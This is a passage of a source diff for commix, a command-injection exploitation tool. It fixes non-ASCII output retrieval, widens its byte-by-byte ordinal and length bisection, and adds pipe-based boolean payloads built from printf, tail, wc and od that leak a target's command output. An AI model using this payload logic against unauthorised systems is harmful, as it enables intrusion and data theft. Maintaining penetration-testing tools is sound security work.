reach. Both run in -`.github/workflows/builds.yml`, alongside the API's own start-up. +`--smoke-test` imports every module in the tree, which catches a name that moved or a file that +stopped parsing - neither of which the suite above would reach - and then runs the examples each +module's own docstrings carry, as doctests. An example that stops holding fails the smoke test. + +`pyflakes` is the layer before either: a name that moved, an import left behind, a variable read +before it is set. None of those raises until the line is reached, and most of those lines are only +reached against a target, so nothing else here would find them. + +`coverage` measures the first two together against two floors. The whole-tree one is dominated by +the modules that only run against a target - the orchestration, the request layer - which no +offline suite reaches, so on its own it would ratchet nothing; the second covers what a payload is +built out of, where a change lands and where the suite can hold a real line. Both are floors to +raise rather than targets to argue with. + +All four run in `.github/workflows/builds.yml`, alongside the API's own start-up. diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 721b2b0154..b067a306bb 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Fixed: Retrieval of non-ASCII execution output, which could come back incomplete. * Added: An offline unit-test suite, run with `python -m unittest discover -s tests -t .`. * Added: New tamper script `luadebugescape.py`, reaching a Lua sink evaluated with a restricted environment through `debug.getregistry()._LOADED`. * Added: New `--eval=lua` support, for a sink evaluating Lua. diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 0fe4d6cc07..9f27c634dd 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -56,14 +56,11 @@ import readline if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): import gnureadline as readline - from readline import * else: import readline - from readline import * except ImportError: try: import pyreadline as readline - from pyreadline import * except ImportError: settings.READLINE_ERROR = True @@ -1380,6 +1377,35 @@ def heuristic_charset(page): except Exception: return None +""" +A byte the page's own encoding cannot read, written down as the escape that spells it out. + +Thrown away instead, every unreadable byte comes back as the one replacement character, and output +read off a page stops being the bytes the target sent - 'caf\xc3\xa9' and 'caf\xff\xfe' arrive +as the same two characters, and neither is recoverable. Written out, the byte is still there. +""" +def _keep_unreadable_bytes(error): + kept = "".join(settings.UNREADABLE_BYTE_FORMAT % _ for _ in bytearray(error.object[error.start:error.end])) + return (kept, error.end) + +codecs.register_error(settings.UNREADABLE_BYTE_HANDLER, _keep_unreadable_bytes) + +""" +The bytes an unreadable escape stands for, back as themselves. + +Only a byte past ASCII is ever written out that way, so the text a target meant to send is left +alone - an escape it printed itself spells a character the page could read perfectly well. + +>>> restored_unreadable_bytes("caf\\xc3\\xa9") +'caf\xc3\xa9' +>>> restored_unreadable_bytes("plain \\x41 text") +'plain \\x41 text' +""" +def restored_unreadable_bytes(text): + if not isinstance(text, str) or "\\x" not in text: + return text + return re.sub(settings.UNREADABLE_BYTE_REGEX, lambda _: chr(int(_.group(1), 16)), text) + def decode_page_body(body, response=None, percent_decode=True, entity_decode=True): """ A page already read from its response, as text: decompressed if it was compressed, and read in @@ -1440,12 +1466,20 @@ def decode_page_body(body, response=None, percent_decode=True, entity_decode=Tru if page_encoding: settings.DEFAULT_PAGE_ENCODING = page_encoding + """ + Each encoding is tried as it stands, and only what none of them can read falls back on writing the + byte out. Read with a replacement character instead, the first encoding never fails - so the one + after it was never reached, and a page it could have read was taken in the wrong one regardless. + """ for codec in (page_encoding or settings.DEFAULT_PAGE_ENCODING or settings.DEFAULT_CODEC, settings.DEFAULT_CODEC): try: - return body.decode(codec, errors="replace") + return body.decode(codec) except (UnicodeDecodeError, LookupError, TypeError): continue - return "" + try: + return body.decode(settings.DEFAULT_CODEC, errors=settings.UNREADABLE_BYTE_HANDLER) + except (LookupError, TypeError): + return "" """ The page with everything that is not its text taken out: scripts, styles, comments and the tags @@ -1583,7 +1617,7 @@ def process_page_content(response, action): if action == "encode" and isinstance(page, str): return page.encode(codec, errors="replace") else: - return page.decode(codec, errors="replace") + return page.decode(codec) except (UnicodeEncodeError, UnicodeDecodeError) as err: err_msg = "The " + str(err).split(":")[0] + ". " except (LookupError, TypeError) as err: @@ -1592,6 +1626,17 @@ def process_page_content(response, action): error_occurred = True break + """ + A page none of the encodings could read is still the target's own bytes, so they are written out + rather than given up on - the same last resort the body read for its text falls back on. Read with + a replacement character instead, what a command printed stopped being what the target sent. + """ + if isinstance(page, bytes): + try: + return page.decode(settings.DEFAULT_CODEC, errors=settings.UNREADABLE_BYTE_HANDLER) + except (LookupError, TypeError): + pass + # If there was an error, advise the user if error_occurred: err_msg += "Re-run with" @@ -2860,7 +2905,7 @@ def third_party_dependencies(): settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) try: - import sqlite3 + __import__("sqlite3") except ImportError: err_msg = settings.APPLICATION + " requires 'sqlite3' third-party library " err_msg += "to store previous injection points and commands. " @@ -2868,18 +2913,18 @@ def third_party_dependencies(): raise SystemExit(settings.EXIT_FAILURE) try: - import readline + __import__("readline") except (ImportError, AttributeError): if settings.IS_WINDOWS: try: - import pyreadline + __import__("pyreadline") except ImportError: err_msg = "TAB completion and history support features require " err_msg += "the 'pyreadline' (third-party) library." settings.print_data_to_stdout(settings.print_error_msg(err_msg)) elif settings.PLATFORM == "posix": try: - import gnureadline + __import__("gnureadline") except ImportError: err_msg = "TAB completion and history support features require " err_msg += "the 'gnureadline' (third-party) library." @@ -3483,12 +3528,145 @@ def current_separator(): "while(i>0){o=(o)(substr(ARGV[j],i,1))", "i--}", "if(j>1)o=(o)(OFS)", "j--}") -# Whether awk reads a program whose statements are separated by this one. +def decoded_byte_output(value): + """ + Output that was read a byte at a time, given back as the text the target printed. + + Each byte arrives as a character of its own ordinal, which is a single-byte reading - so a target + speaking UTF-8 hands back the two characters its one accented character is written with. Reading + those bytes as UTF-8 returns the character. Nothing else is: text that was never UTF-8 does not + survive the round trip, and is handed back exactly as it came. + + >>> decoded_byte_output("caf\xc3\xa9") + 'caf\xe9' + >>> decoded_byte_output("plain ascii") + 'plain ascii' + >>> decoded_byte_output("caf\xe9") + 'caf\xe9' + """ + try: + decoded = value.encode("latin-1").decode("utf-8") + except (UnicodeEncodeError, UnicodeDecodeError, AttributeError): + return value + return decoded if decoded != value else value + +def char_pool_expands(): + """ + Whether a byte found to sit above the pool is then looked for in the rest of the range. + + The pool the search runs over is the printable characters, which is what output is made of - a + byte above it is reached by asking for more, and that is worth the questions while the pool is + commix's own. A pool the user wrote out is a statement about this output: a byte outside it is + outside what was asked for, and is left unresolved rather than searched for at a cost the user + did not ask to pay. + """ + return not menu.options.charset + +def substitution_nests(): + """ + Whether a command substitution can hold another one. + + '$( )' can; backticks cannot, not without escaping every inner pair, which is a quote more than + the payload is proving. The separators that chain on nothing - '&' and '&&' - say what the others + say with two commands by putting one substitution inside another, so they are only written where + the substitution in use allows it. + + Read off the substitution itself rather than kept alongside it: the two would otherwise be two + answers to one question, and a run that set only one of them would skip the nesting form while + still writing '$( )', which nests perfectly well. + + >>> substitution_nests() + True + """ + return settings.CMD_SUB_PREFIX != settings.BACKTICK_SUBSTITUTION + +def using_backticks(): + """ + Whether the substitution in use is the backtick one - the same question substitution_nests() + asks, put the way the callers that escape or strip a substitution need to hear it. + + >>> using_backticks() + False + """ + return not substitution_nests() + +def byte_ordinal(byte_expression): + """ + The ordinal of a single byte, as a number the search can rely on being between 0 and 255. + + A byte comes back through 'printf', which hands it over as a plain char - signed on most builds, + so bash answers -61 for the same byte dash answers 195 for. Either answer lands back in range + once the span is added on, and the one that was already right is left where it is. + + >>> byte_ordinal("${X}").startswith("$((") + True + >>> "256" in byte_ordinal("${X}") + True + >>> "|" in byte_ordinal("${X}") + False + """ + prefix, suffix = byte_ordinal_bounds() + return prefix + byte_expression + suffix + +def byte_ordinal_term(byte_expression): + """ + The same reading, written to go inside an arithmetic expansion that is already open. + + An arithmetic expansion holding another one is not parsed alike everywhere - a dash of the age + shipped with older distributions stops at the first '))' and calls the rest a syntax error, which + a payload cannot be told apart from a target that simply did not answer. Opened once and the + reading put in as a term of it, there is nothing nested to disagree over. + + >>> byte_ordinal_term("${X}").startswith("(") + True + >>> "$((" in byte_ordinal_term("${X}") + False + """ + prefix, suffix = byte_ordinal_bounds() + # The bounds, less the expansion they open and close - what is left is the term itself, with the + # padding that only ever sat either side of it taken off too. + opened = prefix[len("$(("):].lstrip() + closed = suffix[:-len("))")].rstrip() + return opened + byte_expression + closed + +def byte_ordinal_bounds(): + """ + What byte_ordinal() writes around a byte, for a rewrite that has to find the reading again and + put its own in place of it - taken from here rather than spelled out twice and left to drift. + + >>> "".join(byte_ordinal_bounds()) in byte_ordinal("") + True + """ + span = str(settings.HIGHEST_BYTE + 1) + return ("$(( ( $(" + settings.BYTE_LOCALE + " printf '%d' \"'", + "\") + " + span + " ) % " + span + " ))") + def awk_separator_usable(separator): + """ + Whether awk reads a program whose statements are separated by this one. + + >>> awk_separator_usable(";") + True + >>> awk_separator_usable(settings.END_LINE.LF) + True + >>> [awk_separator_usable(_) for _ in ("&", "&&", "|", "", None)] + [False, False, False, False, False] + """ return separator in (";", settings.END_LINE.LF) -# That program, written out with the separator the payload is already proving between its statements. def awk_reverse_program(separator, fold=False): + """ + That program, written out with the separator the payload is already proving between its statements. + + >>> "|" in awk_reverse_program(";") + False + >>> ";" in awk_reverse_program(settings.END_LINE.LF) + False + >>> "tolower" in awk_reverse_program(";", fold=True) + True + >>> "tolower" in awk_reverse_program(";") + False + """ printed = "print(" + ("tolower(o)" if fold else "o") + ")}" return "'" + separator.join(_AWK_REVERSE_STATEMENTS + (printed,)) + "'" @@ -3820,6 +3998,16 @@ def tamper_scripts(stored_tamper_scripts): settings.print_once(warn_msg) if script in settings.MULTI_ENCODED_PAYLOAD: settings.MULTI_ENCODED_PAYLOAD.remove(script) + elif hasattr(module, "declare"): + """ + A script that changes how a payload is put together rather than how it reads says so now, + while the scripts are being settled - not when it first rewrites something. + + Said then, the choice arrives one payload late: the builders read it as they build, so the + first payload of every boundary is put together the old way and only the ones after it + carry the script at all. Which is the one payload a target is first judged on. + """ + module.declare() # Respect each tamper script's declared execution tier; offer to auto-sort conflicting --tamper order. current_order = [script for script in settings.MULTI_ENCODED_PAYLOAD if script in priorities] @@ -3918,7 +4106,6 @@ def other_symbols(payload): # Check for (multiple) backticks (instead of "$()") for command substitution on the generated payloads. if payload.count("`") >= 2 and settings.TARGET_OS != settings.OS.WINDOWS: _enable_tamper_script('backticks') - settings.USE_BACKTICKS = True # Check for caret symbol if payload.count("^") >= 10: diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index 10cb4e64a0..f2aef64bc5 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -56,7 +56,7 @@ def basic_payload_generator(): marker3 = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) suffix = "" - if settings.USE_BACKTICKS: + if checks.using_backticks(): # 'expr' wants its operands as separate arguments - given one, it echoes the string back # instead of adding anything up. prefix = "expr " diff --git a/src/core/controller/enumeration.py b/src/core/controller/enumeration.py index 9f45bfe69d..db3c44c285 100755 --- a/src/core/controller/enumeration.py +++ b/src/core/controller/enumeration.py @@ -60,7 +60,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, if target_os: if settings.TARGET_OS != settings.OS.WINDOWS: cmd = settings.DISTRO_INFO - if not settings.TIME_RELATED_ATTACK and settings.USE_BACKTICKS: + if not settings.TIME_RELATED_ATTACK and checks.using_backticks(): cmd = checks.remove_command_substitution(cmd) checks.print_enumenation().fetching_part("distribution", technique) distro_name, distro_fresh = execute_cmd(cmd) @@ -99,7 +99,7 @@ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whites cmd = settings.IS_ADMIN else: cmd = settings.IS_ROOT - if settings.USE_BACKTICKS: + if checks.using_backticks(): cmd = checks.remove_command_substitution(cmd) """ Undo the padding the Windows interpreter payload writes around its output, and only that. diff --git a/src/core/controller/file_access.py b/src/core/controller/file_access.py index 253716fb24..1993bd5b09 100755 --- a/src/core/controller/file_access.py +++ b/src/core/controller/file_access.py @@ -61,7 +61,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) shell = fire(cmd) else: - if settings.USE_BACKTICKS: + if checks.using_backticks(): cmd = checks.remove_command_substitution(cmd) shell = fire(cmd) if settings.TIME_RELATED_ATTACK: diff --git a/src/core/controller/injector.py b/src/core/controller/injector.py index 1372214e6e..54fb8e437a 100755 --- a/src/core/controller/injector.py +++ b/src/core/controller/injector.py @@ -499,33 +499,15 @@ def _length_delayed_confirmed(candidate): # Find the length of the output, by bracketing it and then halving the bracket. def _bisect_length(): - lo = int(minlen) - 1 - hi = None - # Doubling first, so the bracket is found among plausible lengths. Starting at '--maxlen' - # instead would let one late answer settle the search on the upper bound. - candidate = max(1, int(minlen)) - while candidate < int(maxlen): - try: - if not _length_delayed_confirmed(candidate): - hi = candidate - break - lo = candidate - candidate = candidate * 2 - except KeyboardInterrupt: - checks.handle_exploitation_interrupt(filename, url) - if hi is None: - hi = int(maxlen) - # A single value to find, nothing to distribute across threads - stays serial. - while hi - lo > 1: - try: - mid = (lo + hi) // 2 - if _length_delayed_confirmed(mid): - lo = mid - else: - hi = mid - except KeyboardInterrupt: - checks.handle_exploitation_interrupt(filename, url) - return lo if lo >= int(minlen) else None + # Each question keeps the interrupt handling the rest of this search has, and the searching + # itself is the shared one - the same halving the ordinals are found with, over lengths. + def _asks(candidate): + while True: + try: + return _length_delayed_confirmed(candidate) + except KeyboardInterrupt: + checks.handle_exploitation_interrupt(filename, url) + return resolved_length(_asks, minlen) output_length = _bisect_length() @@ -617,6 +599,21 @@ def _validate_boundary(candidate): warn_msg = "The detected output length may be unreliable due to connection instability. Consider re-running to confirm it." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + """ + What the run was willing to read, applied to the reading - after the length has been settled and + confirmed, so what is announced is what will actually be read. + + The length is found on its own now, so an output past that limit is known to be past it rather + than guessed at a bound: the first characters of a length said outright, instead of a shorter + output that reads like a whole one. + """ + if found_chars is True and output_length is not None and int(output_length) > int(maxlen): + settings.INCOMPLETE_OUTPUT = True + warn_msg = "The output is " + str(int(output_length)) + " characters long, and this run reads " + warn_msg += str(int(maxlen)) + " of them. Re-run with a higher '--maxlen' to read the rest of it." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + output_length = int(maxlen) + if _cached_length is None and found_chars is True and output_length > 1: info_msg = "Retrieved: " + str(output_length) settings.print_data_to_stdout(settings.print_info_msg(info_msg)) @@ -767,14 +764,40 @@ def _bisect_chars(force_full=False): try: if _char_delayed(hi) and _char_delayed(hi): """ - And ask something that cannot be true. A target answering late to everything agrees - to this shortcut for every position, and the equality check that follows agrees too, - being just as saturated - so the whole output resolves to the pool's last character. - A control that comes back delayed says the timing, not the byte, is doing the talking. + And ask something no byte can be. A target answering late to everything agrees to this + shortcut for every position, and the equality check that follows agrees too, being + just as saturated - so the whole output resolves to the pool's last character. A + control that comes back delayed says the timing, not the byte, is doing the talking. + + One above the pool is no such control: the pool stops at the last printable character + and a byte is free to carry on past it, so a target reading one answers that question + honestly and used to be thrown away for it. + """ + if _char_delayed(settings.HIGHEST_BYTE + 1): + return None, True + if not _char_delayed(hi + 1): + return hi, True + """ + Above everything the pool holds, so the rest of the range a byte can be is asked about + too - the halving below only ever looks inside the pool, and the heuristics before it + only at characters already seen. Paid for by the positions that need it, and not at + all by a pool the user wrote out, where a byte outside it was not asked for. """ - if _char_delayed(hi + 1): + if not checks.char_pool_expands(): return None, True - return hi, True + low_delayed, high_undelayed = hi + 1, settings.HIGHEST_BYTE + 1 + while high_undelayed - low_delayed > 1: + try: + mid = (low_delayed + high_undelayed) // 2 + if _char_delayed(mid): + low_delayed = mid + else: + high_undelayed = mid + except KeyboardInterrupt: + if threaded: + raise + checks.handle_exploitation_interrupt(filename, url) + return low_delayed, True break except KeyboardInterrupt: if threaded: @@ -958,20 +981,20 @@ def _delayed(candidate, operator, local_timesec): # The halving itself, over the ordinals the character can still be. def _bisect(local_timesec): - lo, hi = min(char_pool) - 1, max(char_pool) - while hi - lo > 1: - mid = (lo + hi) // 2 - if _delayed(mid, "-le", local_timesec): - lo = mid - else: - hi = mid - return lo if lo >= min(char_pool) else None + return resolved_ordinal(lambda candidate: _delayed(candidate, "-le", local_timesec), + char_pool, expands=checks.char_pool_expands()) # Whether an ordinal is the answer: it must hold, and the next one up must not. + # + # The halving asks whether the byte is at least some ordinal, so one above everything the + # pool holds answers yes to all of them and the search climbs to the pool's own last + # character. Nothing above it is ever asked about, so that answer would be taken for the + # byte's own - which is why the top of the pool is the one candidate checked from above as + # well, in the range a byte can still be rather than only the range the pool covers. def _boundary_holds(candidate, local_timesec): if not _delayed(candidate, "-le", local_timesec): return False - if candidate + 1 <= max(char_pool) and _delayed(candidate + 1, "-le", local_timesec): + if candidate + 1 <= settings.HIGHEST_BYTE and _delayed(candidate + 1, "-le", local_timesec): return False return True @@ -1124,7 +1147,7 @@ def _validate(candidate, local_timesec): check_end = time.time() check_exec_time = int(check_end - check_start) - output = "".join(str(p) for p in output) + output = checks.decoded_byte_output("".join(str(p) for p in output)) # Check for empty output. if output == (len(output) * settings.SINGLE_WHITESPACE): @@ -1589,6 +1612,83 @@ def injection_test_results(response, TAG, randvcalc, technique, payload=None): """ Command execution results. """ +def resolved_length(asks, minlen, confirmed=None, sanity=None): + """ + How long the output is, found by growing a bracket until a length the output does not reach and + then halving it back - with 'asks' answering whether the output is at least the length it is given. + + Nothing caps the growing but implausibility. Capped at what the run was willing to read instead, + the search had an upper bound nothing had answered for: an output exactly that long settled one + character short of itself, and one longer settled there too rather than being known to be longer. + What a run is willing to read is a limit on the reading, and is applied to that. + + >>> [resolved_length(lambda _, n=n: _ <= n, 1) for n in (1, 3, 8, 100, 10000)] + [1, 3, 8, 100, 10000] + >>> resolved_length(lambda _: False, 1) is None + True + >>> resolved_length(lambda _: True, 1, sanity=64) is None + True + """ + confirmed = confirmed or asks + sanity = int(sanity or settings.MAX_INFERRED_LENGTH) + lo, hi = int(minlen) - 1, None + candidate = max(1, int(minlen)) + while candidate <= sanity: + if not confirmed(candidate): + hi = candidate + break + lo = candidate + candidate = candidate * settings.LENGTH_SEARCH_BASE + """ + An answer of yes all the way up is not a very long output, it is an oracle agreeing with whatever + it is asked - so it is disbelieved rather than reported, the way a length past what could be read + is handed back as nothing at all instead of as the bound it ran into. + """ + if hi is None: + return None + while hi - lo > 1: + mid = (lo + hi) // 2 + if confirmed(mid): + lo = mid + else: + hi = mid + return lo if lo >= int(minlen) else None + +def resolved_ordinal(asks, char_pool, expands=True): + """ + The ordinal of one byte, found by halving the range it can be in - with 'asks' answering whether + the byte is at least the ordinal it is given. + + The halving is never asked about its own upper bound, so a byte that reaches the pool's last + character settles one below it, and so does a byte that carries on past the pool. That character + is asked about on its own, and where it holds and the pool is commix's own, the rest of the range + a byte can be is halved as well. + + >>> pool = [9, 10] + list(range(32, 127)) + >>> [resolved_ordinal(lambda _, b=b: _ <= b, pool) for b in (120, 125, 126, 127, 169, 195, 255)] + [120, 125, 126, 127, 169, 195, 255] + >>> resolved_ordinal(lambda _: _ <= 195, pool, expands=False) + 126 + >>> resolved_ordinal(lambda _: False, pool) is None + True + """ + def _halve(lo, hi): + while hi - lo > 1: + mid = (lo + hi) // 2 + if asks(mid): + lo = mid + else: + hi = mid + return lo + + top = max(char_pool) + lo = _halve(min(char_pool) - 1, top) + if lo == top - 1 and asks(top): + lo = top + if expands and asks(top + 1) and not asks(settings.HIGHEST_BYTE + 1): + lo = _halve(top, settings.HIGHEST_BYTE + 1) + return lo if lo >= min(char_pool) else None + def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec): if technique == settings.INJECTION_TECHNIQUE.RESULTS_BASED or technique == settings.INJECTION_TECHNIQUE.TIME_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: @@ -1629,6 +1729,9 @@ def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, times shell = [backslash.replace(r"\/","/") for backslash in shell] # The output's own line breaks, back where they were. shell = [marked.replace(new_line, settings.END_LINE.LF) for marked in shell] + # And the bytes the page's own encoding could not read, back as the bytes the target sent - + # written out at the point the page was read rather than thrown away, so they are still here. + shell = [checks.decoded_byte_output(checks.restored_unreadable_bytes(kept)) for kept in shell] except UnicodeDecodeError: pass if settings.TARGET_OS == settings.OS.WINDOWS: @@ -1668,6 +1771,8 @@ def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, times response = fetch_output_response(url, OUTPUT_TEXTFILE, timesec, technique) if response is not None: shell = checks.process_page_content(response, action="encode").rstrip().lstrip() + # The bytes the file's own encoding could not read, back as the bytes the target wrote. + shell = checks.decoded_byte_output(checks.restored_unreadable_bytes(shell)) if settings.TARGET_OS == settings.OS.WINDOWS: shell = [newline.replace(settings.END_LINE.CR, "") for newline in shell] shell = [empty for empty in shell if empty] diff --git a/src/core/controller/proof.py b/src/core/controller/proof.py index be09453fa2..cb113491cc 100644 --- a/src/core/controller/proof.py +++ b/src/core/controller/proof.py @@ -18,7 +18,6 @@ import string import time -from src.thirdparty.colorama import Style from src.utils import settings from src.core.parse import cmdline as menu diff --git a/src/core/options.py b/src/core/options.py index 871d9a9806..01e70e3bdc 100644 --- a/src/core/options.py +++ b/src/core/options.py @@ -393,7 +393,7 @@ def validate(): # Check if defined "--threads" option. if menu.options.threads > 1: try: - import concurrent.futures + __import__("concurrent.futures") threads_supported = True except ImportError: threads_supported = False diff --git a/src/core/techniques/boolean_based/bb_handler.py b/src/core/techniques/boolean_based/bb_handler.py index 972c20eb4f..f4e9dd27fa 100644 --- a/src/core/techniques/boolean_based/bb_handler.py +++ b/src/core/techniques/boolean_based/bb_handler.py @@ -93,7 +93,7 @@ def _bisect(channel, question, low, high): """ How many bytes the command's output is. -Bracketed by doubling first, rather than bisecting the whole of '--maxlen' outright: a short output +Bracketed by growing a span first, rather than bisecting the whole of '--maxlen' outright: a short output is then found in about as many questions as its own length takes to double past, not in however many the ceiling itself would need, and what the search costs reads as the answer's own size instead of a constant no output's length would ever explain. @@ -111,17 +111,30 @@ def question(candidate): settings.print_data_to_stdout(".") return asked low, high = 0, 1 - while high < ceiling: + """ + Nothing caps the growing but implausibility - what this run is willing to read is a limit on the + reading, and is applied to that below. Capped here instead, the search had an upper bound nothing + had answered for: an output exactly that long settled one character short of itself. + """ + sanity = settings.MAX_INFERRED_LENGTH + while high <= sanity: answer = _ask(channel, question(high)) if answer is None: return "" if not answer: break low = high - high *= 2 + high *= settings.LENGTH_SEARCH_BASE else: - high = ceiling + # Yes all the way up is an oracle agreeing with whatever it is asked, not a very long output. + return "" length = _bisect(channel, question, low, high) + if length and length > ceiling: + settings.INCOMPLETE_OUTPUT = True + warn_msg = "The output is " + str(length) + " characters long, and this run reads " + warn_msg += str(ceiling) + " of them. Re-run with a higher '--maxlen' to read the rest of it." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + length = ceiling if length and settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(" (done)") if length and length > 1: @@ -141,10 +154,12 @@ def _byte_at(channel, cmd, position, payloads=None): question = lambda candidate: payloads.get_char(channel.separator, cmd, position, candidate, operator="-le") char_pool = sorted(set(checks.generate_char_pool(position))) low, high = char_pool[0], char_pool[-1] - # A pool with nothing missing between its ends is its own range: every answer inside it is one of - # its members, so the range is halved directly and the result needs no confirming. + # A pool with nothing missing between its ends is its own range, so it is halved directly rather + # than by index. The answer is still asked for by name: what the halving cannot tell apart is a + # byte inside the pool from one above it, and that is true of a pool with no gaps as much as any. if high - low + 1 == len(char_pool): - return _bisect(channel, question, low, high) + candidate = _bisect(channel, question, low, high) + return _confirmed(channel, cmd, position, payloads, candidate, high) # Otherwise the gaps would be halved away too, which costs more questions than the pool has # characters. The members themselves are halved instead - log2 of their number rather than of the # span they are spread over - and one more question confirms the character found is the output's @@ -157,7 +172,33 @@ def _byte_at(channel, cmd, position, payloads=None): # The byte is not one of the pool's members, so it sits in one of the gaps the halving above # skipped over. Found the long way rather than given up on: a charset is a statement about what # the output is mostly made of, and a character it did not account for is still worth reading. - return _bisect(channel, question, low, high) + candidate = _bisect(channel, question, low, high) + return _confirmed(channel, cmd, position, payloads, candidate, high) + +""" +The answer, once it has been asked for by name rather than by range. + +The halving asks whether the byte is at least some ordinal, so a byte above everything the pool +holds answers yes to all of them and the search climbs to the pool's own last character - which is +a wrong answer wearing the shape of a right one. Confirming it costs one question, and where it +fails the byte is looked for in the range it can still be: output is mostly ASCII, which is why the +pool stops there, but a byte that is not is worth reading rather than reporting as a '~'. +""" +def _confirmed(channel, cmd, position, payloads, candidate, pool_high): + if candidate is None: + return None + exact = lambda value: payloads.get_char(channel.separator, cmd, position, value, operator="-eq") + if _ask(channel, exact(candidate)): + return candidate + # Only the pool's own last character can be standing in for something above it, and only a pool + # of commix's own is widened to go looking: a byte outside one the user wrote out was not asked for. + if candidate != pool_high or not checks.char_pool_expands(): + return None + question = lambda value: payloads.get_char(channel.separator, cmd, position, value, operator="-le") + above = _bisect(channel, question, pool_high + 1, settings.HIGHEST_BYTE) + if above is not None and _ask(channel, exact(above)): + return above + return None """ The command's output, one byte at a time, each found by bisecting its ordinal. @@ -199,7 +240,7 @@ def _so_far(): if position not in resolved: break out += settings.UNRESOLVED_CHAR if ascii_char is None else chr(ascii_char) - return out + return checks.decoded_byte_output(out) # Rendered the way the time-related techniques render theirs, and for the same reasons: a byte not # asked for yet is "_", one that could not be read is marked, a character that cannot be shown as diff --git a/src/core/techniques/boolean_based/bb_payloads.py b/src/core/techniques/boolean_based/bb_payloads.py index c008f4bfae..2e20f749f9 100644 --- a/src/core/techniques/boolean_based/bb_payloads.py +++ b/src/core/techniques/boolean_based/bb_payloads.py @@ -33,16 +33,22 @@ def _test(expression): '||' would need a bare pipe to index the output - a second separator either way. Rather than reach for one, neither is asked at all: a boundary is only worth reporting if the target was shown to accept the separator the payload is actually made of. + +A pipe is among them, and carries an answer either way one can be read. Off the exit status, by +being left unterminated: a pipeline ending in a test is already a whole command, and the no-operation +that would otherwise close it answers 0 whatever the test said. Printed, by printing the marker +through the pipe itself and taking it from the byte the comparison picks - which needs no 'if', and +so no ';' to put before its 'then'. """ SUPPORTED_SEPARATORS = (";", "\n", "\r\n", "&&", "|") +# The same comparison, written the way arithmetic spells it - what a pipe needs, having +# no 'if' to put a test inside of. +_ARITHMETIC = {"-eq": "==", "-le": "<=", "-ge": ">=", "-gt": ">", "-lt": "<", "-ne": "!="} + def _supported(separator): if settings.TARGET_OS == settings.OS.WINDOWS: return checks.windows_separator(separator) is not None - # A printed answer needs somewhere to hang the printing off, which a bare pipe has not got: 'if' - # wants a ';' before its 'then', and '&&' is a separator of its own. - if settings.BOOLEAN_PRINTED_STATE and separator == "|": - return False return separator in SUPPORTED_SEPARATORS """ @@ -54,7 +60,7 @@ def _supported(separator): whatever it said - the same test is made to print an unguessable marker, and the page then carries that marker or it does not. Which of the two is in use is settled per target, by trying the first. """ -def _decide(separator, expression): +def _decide(separator, expression, arithmetic=None): if not settings.BOOLEAN_PRINTED_STATE: return _test(expression) printing = "echo " + settings.BOOLEAN_MARKER @@ -63,8 +69,37 @@ def _decide(separator, expression): return _test(expression) + separator + printing if separator in (";", settings.END_LINE.LF, settings.END_LINE.CRLF): return "if " + _test(expression) + separator + "then " + printing + separator + "fi" + if separator == settings.PIPE_SEPARATOR and arithmetic: + return _printed_through_pipe(arithmetic) return "" +""" +The marker printed down the pipe the payload is already proving, or nothing printed at all. + +Nothing is chained to say which: the marker is written out whole and then taken from the byte the +comparison itself picks - its first where the answer is yes, and one past its last where the answer +is no, which leaves nothing to take. 'head -c 0' would say the same thing and is not portable: it +is a count some builds refuse outright. +""" +def _printed_through_pipe(arithmetic): + marker = settings.BOOLEAN_MARKER + return ("printf '%s' " + marker + settings.PIPE_SEPARATOR + "tail -c +$(( (" + arithmetic + + ") ? 1 : " + str(len(marker) + 1) + " ))") + +""" +The output measured and indexed down the pipe itself, where no variable survives to hold it. + +A pipe runs each side in a shell of its own, so a variable set on the left is gone by the time the +right reads it - what the other separators keep in one is read here as it is needed. The byte is +counted rather than read as a character, so a build whose 'printf' signs it answers the same. +""" +def _piped_length(word): + return "$(printf '%s' \"" + word + "\"" + settings.PIPE_SEPARATOR + "wc -c)" + +def _piped_ordinal(word, num_of_chars): + return ("$(printf '%s' \"" + word + "\"" + settings.PIPE_SEPARATOR + "tail -c +" + str(num_of_chars) + + settings.PIPE_SEPARATOR + "head -c 1" + settings.PIPE_SEPARATOR + "od -A n -t u1)") + """ The command's output held in a variable, and cut down to the byte being asked about. @@ -87,7 +122,9 @@ def condition_check(separator, holds=True): if settings.TARGET_OS == settings.OS.WINDOWS: chain = checks.windows_separator(separator) return checks.windows_boolean_probe(chain, "echo 1", "EQU", "1" if holds else "2") - return checks.terminate_payload(separator + _decide(separator, "1 -eq " + ("1" if holds else "2")), separator) + known = "1" if holds else "2" + payload = separator + _decide(separator, "1 -eq " + known, arithmetic="1==" + known) + return checks.terminate_payload(payload, separator, keep_output=separator == settings.PIPE_SEPARATOR) """ The decision payload, which asks the target to print something unguessable and measure it. @@ -109,12 +146,15 @@ def decision(separator, TAG, output_length, holds=True): "EQU", expected) word = tb_payloads._output_word("echo " + TAG) var = settings.RANDOM_VAR_GENERATOR - if separator == "|": - payload = separator + _decide(separator, "$(printf '%s' \"" + word + "\" | wc -c)" + settings.SINGLE_WHITESPACE + "-eq" + settings.SINGLE_WHITESPACE + expected) + if separator == settings.PIPE_SEPARATOR: + measured = _piped_length(word) + payload = separator + _decide(separator, measured + settings.SINGLE_WHITESPACE + "-eq" + + settings.SINGLE_WHITESPACE + expected, + 